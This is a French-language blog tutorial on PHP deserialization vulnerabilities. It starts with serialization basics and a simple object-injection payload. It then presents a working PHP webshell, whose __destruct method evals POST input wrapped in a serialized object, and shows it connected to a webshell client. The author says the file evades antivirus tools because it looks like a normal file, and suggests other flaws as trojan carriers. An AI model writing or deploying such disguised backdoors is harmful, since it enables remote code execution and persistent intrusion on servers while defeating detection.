Maison  >  Article  >  développement back-end  >  Explication détaillée de la vulnérabilité de désérialisation PHP

Explication détaillée de la vulnérabilité de désérialisation PHP

小云云
小云云original
2018-03-22 14:21:384583parcourir

Récemment, j'ai étudié les vulnérabilités de désérialisation de PHP avec mes amis, j'ai soudain pensé qu'utiliser les vulnérabilités de désérialisation pour écrire un cheval de Troie d'une phrase serait très efficace. Cet article partage principalement avec vous l'explication détaillée des vulnérabilités de désérialisation PHP, dans l'espoir d'aider tout le monde.

0x01 Désérialisation PHP

En parlant de désérialisation PHP, il faut d'abord parler brièvement de la sérialisation PHP. La sérialisation PHP convertit un objet, un tableau, une chaîne, etc. en un flux d'octets pour une transmission facile, comme le cross-scripting, etc. La désérialisation PHP consiste à restaurer le flux d'octets sérialisé en objets, caractères, tableaux, etc. Mais la sérialisation PHP est une méthode qui ne sauvegarde pas les objets.

<?php
class A{
    var $test = "demo";
}
$a = new A();  // 生成a对象
$b = serialize($a);  // 序列化a对象为b
$c = unserialize($b); // 反序列化b对象为c
print_r($b);   // 输出序列化之后的值:O:1:"A":1:{s:4:"test";s:4:"demo";}
echo "\n";
print_r($c->test);  // 输出对象c中test的值:demo
?>

0x02 Vulnérabilité de désérialisation PHP

Il existe un corps de fonction spécial dans la classe PHP appelé fonction magique. Le nom de la fonction magique commence par le symbole __, tel que __construct, __destruct, __toString, __sleep, __wakeup, etc. Ces fonctions sont appelées automatiquement dans certaines situations, telles que __construct lorsqu'un objet est créé, __destruct lorsqu'un objet est détruit et __toString lorsqu'un objet est utilisé comme chaîne.
Lors de la désérialisation, s'il y a une fonction magique dans l'objet désérialisé, l'utilisation de la fonction unserialize() la déclenchera également. De cette façon, une fois que nous pouvons contrôler l’entrée unserialize(), cela peut provoquer une vulnérabilité d’injection d’objet.

<?php
class A{
    var $test = "demo";
    function __destruct(){
            echo $this->test;
    }
}
$a = $_GET[&#39;test&#39;];
$a_unser = unserialize($a);
?>

Par exemple, dans le code ci-dessus, la charge utile construite est http://127.0.0.1:800/test.php?test=O:1:"A":1:{s : 4:"test" ;s:5:"hello";}
Après la désérialisation, la fonction _destruct sera appelée à la fin du script et la variable test sera écrasée pour afficher hello.

Explication détaillée de la vulnérabilité de désérialisation PHP

0x03 Backlash

Nous pouvons utiliser cette vulnérabilité pour contrôler les variables d'entrée et les fusionner dans un objet sérialisé. Construisez ensuite une fonction magique, par exemple en appelant eval dans la fonction _destruct() pour exécuter les instructions dans l'objet sérialisé.

<?php
class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);
    }
}
$test = $_POST[&#39;test&#39;];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>

Explication détaillée de la vulnérabilité de désérialisation PHP

Démonstration de l'effet 0x04

Lien direct du hachoir :
Explication détaillée de la vulnérabilité de désérialisation PHP

Explication détaillée de la vulnérabilité de désérialisation PHP

Safety Dog :

Explication détaillée de la vulnérabilité de désérialisation PHP

Après tout, ce cheval de Troie ressemble trop à un fichier normal, donc l'effet anti-kill est très bon. Ici, nous avons uniquement testé le chien de sécurité et le bouclier D, et le reste est auto-testé.

Résumé

Et cela peut conduire à de nombreuses déformations. Ici, nous n'utilisons que des vulnérabilités de désérialisation. D'autres vulnérabilités peuvent également être utilisées comme support de chevaux de Troie. Après tout, des vulnérabilités d'exécution de code cms sont découvertes. Avant, c'était encore un document extrêmement normal.

Recommandations associées :

php à propos de la vulnérabilité d'injection d'objets de désérialisation

Explication détaillée des principes de sérialisation et de désérialisation PHP

Compréhension approfondie de la sérialisation et de la désérialisation en php

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Article précédent:Comment télécharger du php ?Article suivant:Comment télécharger du php ?